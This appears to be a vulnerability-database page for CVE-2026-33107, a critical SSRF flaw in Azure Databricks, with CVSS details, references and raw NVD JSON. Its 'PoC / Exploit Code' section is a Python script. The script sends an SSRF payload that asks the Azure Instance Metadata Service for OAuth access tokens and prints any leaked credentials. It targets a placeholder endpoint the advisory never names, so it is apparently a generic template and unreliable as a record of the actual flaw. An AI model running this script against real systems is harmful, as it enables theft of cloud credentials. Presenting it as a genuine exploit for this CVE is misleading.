CVE-2026-33107

Description

Server-side request forgery (ssrf) in Azure Databricks allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_databricks:-:*:*:*:*:*:*:* - VULNERABLE

请参考官方Microsoft安全公告确认受影响的具体Azure Databricks版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Replace with actual vulnerable endpoint)
target_url = "https://<databricks-instance>/api/vulnerable-endpoint"

# Malicious payload targeting Azure Instance Metadata Service
# Attempting to retrieve access tokens from the internal metadata service
ssrf_payload = {
    "url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.core.windows.net/",
    "method": "GET"
}

try:
    print("[+] Sending SSRF payload to target...")
    response = requests.post(target_url, json=ssrf_payload, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request successful! Check response for leaked credentials.")
        print("Response Body:", response.text)
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        
except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33107
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33107
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33107/
[4] VulDB https://vuldb.com/cve/CVE-2026-33107
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33107

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33107", "sourceIdentifier": "[email protected]", "published": "2026-04-03T00:16:05.207", "lastModified": "2026-04-06T17:52:39.963", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Server-side request forgery (ssrf) in Azure Databricks allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_databricks:-:*:*:*:*:*:*:*", "matchCriteriaId": "73EEAA22-6582-4200-AF58-A5C79ACFC8AA"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33107", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}